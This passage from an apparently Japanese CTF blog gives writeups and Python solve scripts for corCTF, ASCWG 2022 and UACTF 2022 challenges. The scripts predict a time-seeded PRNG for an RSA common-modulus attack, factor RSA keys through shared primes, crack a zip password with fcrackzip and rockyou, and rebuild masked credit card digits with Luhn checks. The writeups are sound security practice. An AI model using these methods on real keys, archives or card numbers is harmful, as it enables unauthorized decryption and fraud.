[+] a_priv = 63497966771228335993935218724355716676359926182967975463093060105894867914802051403524263838451533117998140812842659902100945139428076742018151358770711075499718955791059569760306592803008376586431708302909649602374612770031446609941268056564386982932718212036534269872682126736591975854896102855270700008372
[+] shared = 86382471144674987516192390676739968790606018844855369676663312319897424264589519056860582366433954661923689613455950996957073708730586503567240461427068073600946731416068482076340126294642483394238838801798961052802865121895198819944744990914204503217602305639165324158861726404756338767093146109002421799336
[*] flag = corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}
corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}

hidE (crypto)

サーバの処理概要は以下の通り。

・p, q: 512ビット素数
・n = p * q
・phi = (p - 1) * (q - 1)
・random.seed(int(time.time()))
・nを表示
・以下繰り返し
 ・x: "1", "2", "3"から選択
 ・xが"1"の場合
  ・flagを暗号化して表示
   ・e: 1以上n以下のランダム整数
   ・pt: flagの数値化
   ・ct = pow(pt, e, n)
   ・ctの文字列化を16進数表記で返す
 ・xが"2"の場合
  ・msg: hexで入力
  ・msgをhexデコードして、暗号化して表示
 ・xが"3"の場合、終了

eの再取得の条件をできるだけ正しいものにするために、"2"を選択してeを取得し、取得できたeからGCD(e, phi)が2より大きいものをできるだけ集める。その条件から"1"の選択により2つのeを推測し、対応するctを取得し、Common Modulus Attackによりフラグを復号する。

#!/usr/bin/env python3
import socket
import random
import time
import math
import binascii
import gmpy2
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def commom_modules_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)

    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v * w) % n
    return x

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('be.ax', 31124))

# arrange
seed = int(time.time() - 0.92)
random.seed(seed)

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])

ok = []
ng = []
for _ in range(16):
    data = recvuntil(s, b': ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b': ')
    print(data + '02')
    s.sendall(b'02\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ct = bytes_to_long(binascii.unhexlify(data.split(' ')[-1].encode()))

    while True:
        e = random.randint(1, n)
        if pow(2, e, n) == ct:
            ok.append(e)
            break
        else:
            ng.append(e)

ps = []
for p in range(100):
    if isPrime(p):
        for v_ok in ok:
            for v_ng in ng:
                if GCD(v_ng, p) == p and GCD(v_ok, p) == 1:
                    if p not in ps:
                        ps.append(p)

p_mult = 1
for p in ps:
    p_mult *= p

es = []
cs = []
for _ in range(2):
    data = recvuntil(s, b': ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ct = bytes_to_long(binascii.unhexlify(data.split(' ')[-1].encode()))
    cs.append(ct)

    while True:
        e = random.randint(1, n)
        if GCD(e, p_mult) == 1:
            break
    es.append(e)

m = commom_modules_attack(cs[0], cs[1], es[0], es[1], n)
flag = long_to_bytes(m).decode()
print(flag)

100%成功するわけではないが、何回か実行し、成功した実行結果は以下の通りとなった。

Secure Encryption Service
Your modulus is: 100441865619649378327411672611065384009678541478296740785037651890715045575097534735728258948356210109119098621834146040918288856216227335820807190579935830941844864899436808591597411868589841498023638713884299205329379884680708425329513629944504571472006538006678795572250308583657883848458360292045182818929
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 1c713e78e8c0cd67c07e33c2078dde622beaacb3f15c3dc95ad9174d40b562f88442e2388a8aae17a9e30ac2f06e60c751636a8ad4b65882bd3fc0892c8d7064e6794cf08dd7a9ce1c8da1225dff6330d2e44eacce2774aa46acaedd04881f62e55acfa2457687806f36b5d01dc81d56beeb7a119838a2af6c17b186f2e59089
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 3273254bbbbdb532a4c0c3da2f0bd10d7871d6a925f81756b99365fad8bbf1c1f553e508ad5cf0211ffc7f7053fc31ec1ad7a9468f44fd570319a633c0508b357e387943ace4c1b415ccc8e351a6459ead7f7719d1d613c3d8884b5b6dcb0dd8d3e83a9effc30f8c52ca9aaeae9c4123c7020764865ce6df6a9f31b1e6ffab16
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 8e9e3eb5928f7ce91c85a143f56bd86aba82af74e7d94aa4345f45ed364a7a26ff89bcc674fe19dbf0564dadcbc7cdb2b8d424829260c946def0939c5a4e5997cc4a59fc10624f1a957d56a1510dc3b6be38b58efe75b2c937dc26486fd128b6970e0a7fe600bcfd075d138c568444d903b6b9804e49dbf9e681675674cb2648
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 5b21fc94591495318ff10a623def92fb996c0c878b8e5c09d453a98bf1e3e4ad1ba51ccf4ab906ad2955d5df6cb6812fe5f61a888e5fa81c5f2a3fdc8cd1c375df3ef0075c1a4d723b3d34151a055fd45f2741583ca277aa50d2316653a3cc709d36c71efe033836c2b9cb4d5db8e4b0e83245c987ee2ea6ee49649849869376
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 48c63e2346b6ffaec1b3680cb3ae83896379612cb491b735ef85f03c30a36fdaedeaad4d4b2182972cb6d97b868668fa6ae5ddd98ced1a4f16979ac4440dec81ed2cff78630673cc816231e54785602ac19f31b8d6591a5437815859443e844417da0361df3e6410a5b6e2cf3fa61a754ede485f05017c6ffadbabdaaa52994a
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 238ff7ad3b205fdd581e44781a6dccc1b785745e7cbdea7a0b469b7e8a0bb9120ec27c83308888c99655795ef28c693bd0691742f3434a4e4d9d4405e758036223c3512938ec13df0d703b44a1e85096d2759fe994b82395d394fe9df172dc424b6eba17984581cf6db6d44de1d1b98742580641b6afd46dc671e0bb18d9854c
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 856ef0586917d222c338c7c40088dd4d0a38e4dab80e4d3c947b8d2d68e8fd898a928fa1d5e74a8fb4bfb3804e17eddef4967ca5d5c3e5be033045cffb5745a0d65cde116c370c3eb125e2205ac2fbb1a1842568e81b79ecab18ae6ac4c57e0774ca206d87b4b5a74733e71c8a94001dbac45d1c588b51f8d39be204309c8970
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 4f26819cfcb5caa491ba9af612a2d520c9cb281e048c2a0dd5805ccf36fda3cd0531699b3d9f3395dcdc61748024a6a99842e4a217fe17b6722aee3d2406f6317268ee045b1b694929aaa18632a95a756b41d0633b8ff05ccb5e8104de1ece54f547f9b48e89c452eab2ff8bec9f3256cdad49de37b95bb8740a327557ab0048
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 6637b2318da9e7e035f6c69d4782299f3857fec067cd5c3ed0ece1c2ed5cb0b4d16a7cf2e5439e84cabbd75b6cf9635dfc25d67039d2087abe8df95b2f74df99b5ea78713736cda5123e65bb4bb445e7fdfcea733b6b177c7e6f558b3561c32ae9bad46394cbb47c4c3602f19977d19614d7f5c78a2b48d1b1a91847e01c3bd1
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 70fd5921b23c58c4769347d4c90978b61b4d3dfa2739d51a4abc6811866ca35e7404160f938b4379018f1251d4d49185a71343c7930913a1f99926283f3ce1d6c4a04320be517f9c7bb6b4afc4e22981e0888414bee19ce8e69d0352d27a627f2128fb1377fa20ed0f9e198d59a1c84b60a60f8494290dcf1bf7190b5d8368a4
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 64a4716d166adb618e60b55acff6f55a60ea8d19967f56f168775b4677a586a37ca82ac1bfedff7530b5b41d4d011dc0b80f37537515ddad795ad016fefe74ee061d573269ec187c59d06bb42500c399a66c91561b4c2de4c87921559871985f6c698aa776f8fa594999a811b24cfd81dba41201d8830be1d057ea063c447f68
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 20a504b1c72f3db1465a89b0603c0ad208f5f9fe3f67e6abd901a991328323bb732e5a84d8b6c4cb8c755610d1c0fffcd8fc7f30b424c224b8a07516ec99c528af054529213979bc99112a7c40b55588ee641125f8850ee10ce350745ac75007446d44fac52b0b5cfd95b8005359fe6ced4af13aea3ee0319953b32701ecc07b
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 66bde99c575a9ab3ef65f380c1dc466cccf62b6221305cf94f111d78ee88daf9d9a6893819469011a6a0cfcbfab149a9c46ba6bca9412cec337a0c7a3ce8efd8e181f549a558ab2b8282e83a07fd6890ebd9bc09003d6d2202f3beaba50412d8853fcd88eb23342954e301f568fd5f3d1625b99fce3efe18ce7f9b61d326ba8a
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 076c15bf6e586e95dc1d03e2f48ddf6213413de381161e65174bcb58339e14d452ac81d33f134e6c4819b525820c49d68f2cd0ccd6351901f26838981a7ca6188bd99c77ed38fc3db124784db34bb848f7fb20504150b1d51da644cafd86d949c17b5cb87e47a340f6c83b543b6bc786695934d8a65343e7d50b549a8b9f603e
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 78b49972cd061171be34ecb6d08c182a1c1dd5d6a2aa41a158ee8b5261b2c38c9519f9d0d91b372d63b62aeeec38637be79d5640d08534de2823b07c33d0b964d1387814354f68e8fb9e19f2e349c3c6663480bbc1876bc8213d0e71172153dc7c4a52a1a6a6c5cc771f9d7d9446658bba073bc2bb79a37e508a15732613d8a2
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 4706873cb52c8151dec9d38aeb90712e021b92382299bbd88cd5fb6f3c92893f29d469acb2dd04243ea4b740d04560a9905972ea87fcb5acdb387d654a2f9f2972e1a4b85787caaaa4a6434a5115c1c1fcb80d44491526637d7f376946e320e3a6749e7c2f2b70e0297dea726de6a6ce7a9b515596adc497fcac842451132bfc
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 1
Here is your encrypted flag: 768b36dec8a2bb0962b3fa2bb17fa6dfae8c3a77c70c17668490a9c30fe27f02e0c4b89853f095deb307015f33ca6e50b3607da1caac456756bbfbf64fa2cdc24fc43b0070cbc8a06f29d7cc1902335b7b27ab2d9b6fc696ff69c29b550a70551b67f596c406784b9fb00dcc01fee10bb1cf0f7d7b2cfdc57740ad49c643f3f2
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 1
Here is your encrypted flag: 258871f01c6f2090b29a7614151e1817e12b58049cc9ec4ee287e8ba2221e51c47a3fc1bbf47e0735834bc72937095958a534f5bb579645779bcd54b20b7c6b0d6a62607f031ec0d8549590f45abad25b4ba7a863f03369ba6902424e10e84289d274ee63065fb6970fd57da910336240f3b54dab83a3d03d1701433ee345e14
corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}
corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}

survey (misc)

すべてのアンケートに答えたら、最後のページにbase64文字列が提示されているので、デコードすれば良さそう。

$ echo Y29yY3Rme2hvcGVfeW91X2hhZF9mdW59 | base64 -d
corctf{hope_you_had_fun}
corctf{hope_you_had_fun}

Arab Security Cyber Wargames 2022 Qualifications Writeup

この大会は2022/8/5 22:00(JST)~2022/8/6 22:00(JST)に開催されました。
今回もチームで参戦。結果は700点で733チーム中125位でした。
自分で解けた問題をWriteupとして書いておきます。

Weird Fs (forensics 300)

Autospyで開くと、Flag.zipがあることがわかる。エクスポートして確認すると、パスワードがかかっているので、クラックして展開する。

$ fcrackzip -u -D -p dict/rockyou.txt Flag.zip 


PASSWORD FOUND!!!!: pw == juelma
$ unzip -P juelma Flag.zip
Archive:  Flag.zip
 extracting: Flag.txt
$ cat Flag.txt
ASCWG{M4C_4N6_1$_Co0l}
ASCWG{M4C_4N6_1$_Co0l}

Rsa In The Wild (crypto 100)

RSA暗号。確認してみたところ、JohnとY4mm1のnの公約数、SaraとGaryのnの公約数は1でないため、素因数分解できる。あとは通常通り復号する。

#!/usr/bin/env python3
import json
from Crypto.Util.number import *

with open('output.json', 'r') as f:
    json_data = json.load(f)

users =['John', 'Sara', 'Y4mm1', 'Gary']
ns = []
cs = []
for i in range(4):
    ns.append(json_data[i][users[i]]['key'])
    cs.append(json_data[i][users[i]]['msg'])

assert GCD(ns[0], ns[2]) > 1
assert GCD(ns[1], ns[3]) > 1

e = 0x10001

p0 = GCD(ns[0], ns[2])
p1 = GCD(ns[1], ns[3])
ps = [p0, p1, p0, p1]

for i in range(4):
    q = ns[i] // ps[i]
    assert ps[i] * q == ns[i]
    assert isPrime(ps[i])
    assert isPrime(q)
    phi = (ps[i] - 1) * (q - 1)
    d = inverse(e, phi)
    m = pow(cs[i], d, ns[i])
    assert pow(m, e, ns[i]) == cs[i]
    msg = long_to_bytes(m)
    print(msg)

実行結果は以下の通り。

b'\x0cX\x08\x0b\xc4)\xcd\xcd\x8f<\xb0]\x87\x03\xcd\xf0\x0e\xac\xbd9\x079\x86$\'ej\xdfl\xa2\xf7\xa8)\x15\xe3\xef3\x9e\xd9\x89\xd9&\x99"\x03[\x83\x12\xb8\x0b\xa9WEm\x9a\x80\'\x9bHB\x03\x12\xb6?\xf5$\xec\x10\xdc\xa8P\x8f\x88\x06\xad"\xe6\xe1\xa5\xb0*\xac\xd3\xf4\x9c\x03\xf9\xd1\xc3\xd6[X\xc2\xb4T\xe0<\xbc\x8cF.5?\x11\x14<\xe8\x9dN\xbd9\xc9\xe0\xf9b\xbd\xbc\x05\x0e\xa1\x9b\xc7~\x94\xcb\xd7\xa2\x04'
b"Hello, friend! It's me again. I can cipher things with my mind! ASCWG{7h3_c0mM0n_9re4t_P0W3r_0f_6r0k3N_R$A}"
b'a{\x8c\xcb=\xe8\xe5$z\xb2\x08\xa50fz\xc6\x96\x9e\xc8@RP\x18\x01V\x85N\x80\xa7A\x03\xfa\xbbhxw\xa3\xbc\x9d\x85\xcb\x85{"\xa5\xf8-\xf7\xb8\x96\xbc\xcc\x04\xb0\xfa{u:\xa5h\xc2j\xba\x96\x02\x81\xa4\x10\x0c7p\\\xf2\xbc\xa5u\xc5\xf9r\xac/\xe4U\xe3\xcc\xcb\xb7\xe8\xa3\xedO\x91\x89\x15\x9e\x11G9\xff\xea>\xb3\x94\x11\xc4\x9b\xa4eC\x93\x12\xe5[\x15u\xae5\xbb\xe2&\xca!\xf5\xf2\xa3KM'
b"\x17\xfe&\x9c.\\e\xb6\x91\xdc7\xcf\xf0UA\x10(\x915}4\x05\x1d\xf23\x17\x0co\x1d\xa5\xccO\t\x89\x98\x12\xe4\x06\xaa\xc2B\xbe#v9\xa5[m\x96\x91\xfe\xef\x1f{\xf3\xd8\x06\x9c\x05\x18zW\x01\xda(\xac3\x8f\xa1\x02\x92F\x96\xe0\xf9\x8c+\xb0\xb2\x9be\x0e1\x97\xd6\xec%\xf8\x16\xf6\xf0\xb3Y\xcb\xeb\xc4\xc8\xa4Y\x0bWy\xff\xc4IDw\\\xa7\x9b\xf5P\xb4\xd9\xdaM\xca\xb4\x9b\x8a\x95'\r\x08\xa9\xe1n%"
ASCWG{7h3_c0mM0n_9re4t_P0W3r_0f_6r0k3N_R$A}

Osp (crypto 300)

kをブルートフォースで暗号化数値から引き算し、32~126でブルートフォースで割り切れ、割った数が素数のものを探す。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    cs = f.read().splitlines()

for c in cs:
    for k in range(256):
        v = int(c) - k
        for code in range(32, 127):
            if v % code == 0:
                p = v // code
                if isPrime(p) and p.bit_length() == 256:
                    print(cs.index(c), chr(code))

実行結果は以下の通り。

0 N
0 A★
1 S★
1 t
2 A
2 C★
3 W★
3 D
4 G★
4 ?
5 {★
6 W★
6 D
6 c
7 h★
8 4★
8 /
9 +
9 5
9 B
9 7★
10 _★
10 F
10 N
11 1★
11 @
11 =
12 f★
13 _★
13 F
13 N
14 1★
14 @
14 =
15 +
15 5
15 B
15 7★
15 H
16 '★
17 s★
17 a
18 _★
18 F
18 N
19 N★
20 0★
20 E
21 +
21 5
21 B
21 7★
22 r
22 _★
23 @★
23 \
24 r
24 _★
25 `
25 P★
25 h
26 r★
26 T
26 ^
27 1★
27 @
27 =
28 K
28 M★
28 Y
28 m
29 3★
29 2
30 !★
31 6
31 -★
32 f★
33 0★
33 E
34 f★
35 f★
36 M
36 a★
37 3★
38 6★
38 A
39 D
39 5★
40 7★
40 H
40 *
41 e★
42 }★

候補は複数出るので、フラグとして正しそうな文字を組み合わせる。

ASCWG{Wh47_1f_17's_N07_@_Pr1M3!-f0ffa3657e}

UACTF 2022 Writeup

この大会は2022/7/30 10:30(JST)~2022/8/1 10:30(JST)に開催されました。
今回もチームで参戦。結果は709点で431チーム中90位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (misc)

問題にフラグが書いてあった。

UACTF{w31c0m3_70_u4c7f}

Sanity Check (reversing)

$ strings sanity-check | grep UACTF{
UACTF{N3V3R_G0NN4_L37_Y0U_D0WN}
UACTF{N3V3R_G0NN4_L37_Y0U_D0WN}

Colour Blind (forensics)

StegSolveで開き、Random colour mapを見たら、フラグが現れた。

UACTF{r37urn_0f_7h3_c0l0r_m31573r}

Non-textual Troubles (crypto)

1バイトずつランダムな値とXORをして暗号化しているが、seedを使っているので、ランダム値を鍵として復号する。

#!/usr/bin/env python3
from random import seed, randrange

seed(True, version=2)

with open('ciphertext.txt', 'r', encoding='utf-8') as f:
    ciphertext = f.read()

flag = ''
for char in ciphertext:
    A = ord(char)
    B = randrange(256)
    flag += chr(A ^ B)
print(flag)
UACTF{b4d_h4b175_l34d_70_py7h0n2}

Peter works at Bendigo (crypto)

クレジットカードはMasterCardで一部がマスクされた番号は以下のようになっている。

XXXX XX66 8X12 5X57

BendigoのMasterCardなので、最初の6桁の発行者識別番号は519244。あと2桁はLuhnアルゴリズムで妥当な数値の組み合わせを探す。

#!/usr/bin/env python3
def check_number(digits):
    _sum = 0
    alt = False
    if digits[0] == "0":
        return False
    for d in reversed(digits):
        d = int(d)
        assert 0 <= d <= 9
        if alt:
            d *= 2
            if d > 9:
                d -= 9
        _sum += d
        alt = not alt
    return (_sum % 10) == 0

for i in range(10):
    for j in range(10):
        number = '519244668%d125%d57' % (i, j)
        if check_number(number):
            flag = 'UACTF{%s}' % number
            print(flag)

この結果、以下の複数の組み合わせがあるので、順にフラグを投入してみる。

UACTF{5192446680125657}
UACTF{5192446681125557}
UACTF{5192446682125457}
UACTF{5192446683125357}
UACTF{5192446684125257}
UACTF{5192446685125157}
UACTF{5192446686125057}
UACTF{5192446687125957}
UACTF{5192446688125857}
UACTF{5192446689125757}

この結果、下から3つ目がフラグとして通った。

UACTF{5192446687125957}

Feedback (misc)

アンケートに答えたら、フラグが表示された。

UACTF{thanks_for_playing}